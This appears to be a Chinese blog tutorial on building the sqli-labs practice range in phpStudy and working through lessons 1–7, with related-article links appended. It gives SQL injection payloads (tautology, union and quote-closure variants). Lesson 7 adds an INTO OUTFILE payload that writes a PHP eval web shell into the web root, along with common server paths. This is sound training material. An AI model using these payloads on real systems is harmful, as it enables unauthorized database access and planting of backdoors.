靶场搭建

小白建议直接用集成环境.推荐laragon (由于这套靶场较早,需要使用php7.0以下环境,安装完php laragon需要在安装php低版本,默认laragon只集成了一个7.0的php),

如果不懂怎么安装php低版本到laragon,推荐使用php study. 这款集成工具最大的亮点就是集成了php的各个版本,相比于laragon 可能配置则会稍微复杂点..

php study:

laragon:

关于环境,这里不过多介绍,有兴趣的自己了解一下,各有千秋.但本人更倾向于laragon.

本套课程,所采用的集成环境为 php study.

搭建步骤

  获取源码. 自行百度或者通过我的分享.

# 链接:https://pan.baidu.com/s/1XS38kjkn52Y822oN7JOLyw
# 提取码:fdbo
# 复制这段内容后打开百度网盘手机App,操作更方便哦

文件解压到phpstudy下的WWW(点击网站根目录,拷贝的时候先把目录清空),完工! (此方法为替换了默认的站点信息.也可通过域名站点管理添加站点指定路径 修改本地host来完成. )

访问测试:

访问127.0.0.1:

截至到此,安装没没有真正意义的完成.我们需要修改下php源码.找到数据库配置. 修改为你的数据库账号密码.:

完成后我们就可以进行闯关了..

less-1

访问less-1 看到如下页面.我们手工键入查询参数得知,此url是查询url. 所有的关卡只进行到发现注入点,(注意点方式很多,这里我只展示一种)不涉及暴库等操作.具体的可以自行研究.

键入常用的payload进行尝试. 成功!

通过修改源码, 输出对应sql语句,得知:

SELECT * FROM users WHERE id='' LIMIT 0,1  # 原始sql
# 我使用的payload
SELECT * FROM users WHERE id='' or 1=1 -- '' LIMIT 0,1

less-2

通过less-1 的套路,我在less-2的地址也加入了查询参数.得到的结果和less-1是一样的.

通过union联合查询 执行成功 由此断定sql存在注入漏洞.

 # 原始sql
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
# payload
SELECT * FROM users WHERE id=-1 union select 1,2,3 -- '' LIMIT 0,1

pay load

less-3

打开url 我们还是老套路 先尝试在url后面加个闭合的单引号 看输出信息是否异常

可以看到报错那里出来了一个),原来这就是单引号注入的变形,那么我们在没有最终的sql语句的情况下怎么判断呢

首先看到near和at之间的字符串,直接将左右的引号去掉,那么就得到'-1'') LIMIT 0,1

我们明显看到-1的右边多了一个' 这是似成相识的感觉吧,后面还有个),那么对于的左边也有(,我们看看代码是不是 id=('$id'),

# 使用的payload
id=-1%27)%20or%201=1%20--%20%27
id = -1') or 1=1 -- '

less-4

按老套路 查询参数后面加单引号, 发现可以正常查询.试试双引号,结果就报错了,

为什么单引号不报错呢? 因为在sql查询语句中,单引号是可以包双引号的

发现注入点之后  我们可以通过构造闭合双引号来尝试.

# 原始sql
SELECT * FROM users WHERE id=("1") LIMIT 0,1
# payload
select * from users where id = ("-1") or 1=1 -- "")

less-5

参考less -2 . (单引号)

less-6

参考less-2. (双引号)

less-7

看首页说是导出文件GET字符型注入,常用的语句是:  select "<?php @eval($_POST['giantbranch']);?>" into outfile "XXX\test.php" ,当这里要获取到网站的在系统中的具体路径(绝对路径)

这个要怎么获取呢,根据系统和数据库猜测,如winserver的iis默认路径是c:/inetpub/wwwroot/,这好像说偏了,这是asp的,但知道也好

linux的nginx一般是/usr/local/nginx/html,/home/wwwroot/default,/usr/share/nginx,/var/www/htm等

apache 就/var/www/htm,/var/www/html/htdocs

下面给一个很有可能获取得到的方法,(因为less7不输出信息,先从less获取信息)

首先介绍两个可以说是函数,还是变量的东西

@@datadir (读取数据库路径)
@@basedir (MYSQL 获取安装路径)

# payload
SELECT * FROM users WHERE id=(('-1')) or 1=1 -- '')) LIMIT 0,1
# 上传文件的payload
http://127.0.0.1/Less-7/?id=1')) union select 1,'2','<?php @eval($_POST["php09"]);?>' into outfile 'E:\\wamp\\www\\sqli-labs\\muma.php' %23

sql注入学习 sqlliab教程 lesson1 (sqlliab搭建教程)的更多相关文章

  1. SQL注入学习资料总结

    转载自:https://bbs.ichunqiu.com/thread-12105-1-1.html  什么是SQL注入 SQL注入基本介绍 结构化查询语言(Structured Query Lang ...

  2. sql注入学习笔记,什么是sql注入,如何预防sql注入,如何寻找sql注入漏洞,如何注入sql攻击 (原)

    (整篇文章废话很多,但其实是为了新手能更好的了解这个sql注入是什么,需要学习的是文章最后关于如何预防sql注入) (整篇文章废话很多,但其实是为了新手能更好的了解这个sql注入是什么,需要学习的是文 ...

  3. SQL学习之SQL注入学习总结

    所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令. 测试数据库 我们本文就以如下数据库作为测试数据库,完成我们的注入分析 ...

  4. xss和sql注入学习1

    在本地搭建一个存在漏洞的网站,验证xss漏洞和SQL注入的利用方法. 使用phpStudy工具搭建一个美食CMS网站平台. 0x01  xss测试 打开调试模式,定位姓名栏输入框: 尝试在value中 ...

  5. sql注入学习笔记 详解篇

    sql注入的原理以及怎么预防sql注入(请参考上一篇文章) https://www.cnblogs.com/KHZ521/p/12128364.html (本章主要针对MySQL数据库进行注入) sq ...

  6. SQL注入学习-Dnslog盲注

    1.基础知识 1.DNS DNS(Domain Name System,域名系统),因特网上作为域名和IP地址相互映射的一个分布式数据库,能够使用户更方便的访问互联网,而不用去记住能够被机器直接读取的 ...

  7. 从零开始的sql注入学习(挖坑不填)

    首先,本人是小白,这篇文章也只是总结了一下大佬们的sql注入方法,要是有错,请各位大佬指出,以便学习. 虽然我是菜鸡,但是太过基础的sql注入问题也就不再重复的解释了.直接从常用的说起. 实战中常用的 ...

  8. 简单sql注入学习

    sql注入是什么? 所谓SQL注入,就是通过把SQL命令插入到Web表单提 交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.具体来说,它是利用现有应用程序,将(恶意)的SQ ...

  9. SQL注入学习(一)

    注入攻击的本质:web应用程序没有过滤用户输入或过滤不严谨,直接把用户输入的恶意数据当做代码执行 两个条件: 1.用户能够控制输入 2.原本程序要执行的代码,拼接了用户输入的数据 注入类型 SQL注入 ...

  10. Java SQL注入学习笔记

    1 简介 文章主要内容包括: Java 持久层技术/框架简单介绍 不同场景/框架下易导致 SQL 注入的写法 如何避免和修复 SQL 注入 2 JDBC 介绍 JDBC: 全称 Java Databa ...

随机推荐

  1. vue 对象提供的属性功能、通过axio请求数据(2)

    1 Vue对象提供的属性功能 1.1 过滤器 过滤器,就是vue允许开发者自定义的文本格式化函数,可以使用在两个地方:输出内容和操作数据中. 1.1.1 使用Vue.filter()进行全局定义(全局 ...

  2. django 模型层(2)

    Django 模型层(2) 多表操作---模型之间的关系 1 一对一:作者----作者详细信息 2 一对多:书籍----出版社 3 多对多:书籍----作者 一  创建模型(主键(id)自动创建) 没 ...

  3. .Net Cache

    在.net中有两个类实现了Cache HttpRuntime.Cache 应该程序使用的Cache,web也可以用 HttpContext.Current.Cache  web上下文的Cache对象, ...

  4. centos7下kubernetes(14。kubernetes-DNS访问service)

    我们在部署kubernetes时,会自动部署dns组件,其作用是通过dns解析的方法访问service coredns是一个DNS服务器,每当有新的service被创建,kube-dns会添加该ser ...

  5. 使用 ESP8266 制作 WiFi 干扰器 - 无需密码即可使用任何 WiFi

    嘿,朋友,我是 Kedar,你有没有想阻止所有的 WiFi信号?或者只是想从 WiFi 踢某人或邻居 WiFi .那么,本玩法是你等待结束的时刻了.这是为你提供的.仅需 $8 的 DIY Wifi 干 ...

  6. 利用BeEF REST API自动化控制僵尸主机

    本文首发Freebuf,属于原创奖励计划,未经许可禁止转载. http://www.freebuf.com/articles/network/137662.html 一. 前言 关于BeEF,不再多介 ...

  7. pytorch实现性别检测

    卷积神经网络的训练是耗时的,很多场合不可能每次都从随机初始化参数开始训练网络.   1.训练 pytorch中自带几种常用的深度学习网络预训练模型,如VGG.ResNet等.往往为了加快学习的进度,在 ...

  8. LOJ2831 JOISC2018 道路建设 LCT、树状数组

    传送门 题目的操作大概是:求某个点到根的链的逆序对,然后对这条链做区间赋值 求某个点到根的链,就是LCT中的access操作,所以我们每一次把access过后的链打上标记,就可以做到区间赋值了. 计算 ...

  9. linux下安装PHP扩展memcache

    公司的服务器 CentOS 7.5,PHP 5.6 下面都是最新的版本(支持到PHP5.6) 如需php7  下支持memcache扩展,请移步   https://www.cnblogs.com/h ...

  10. MySQL-ERROR 2003

    1.首先安装mysqld服务器,输入命令:mysqld --install 2.输入命令:mysqld --initialize-insecure 3.输入命令:net start mysql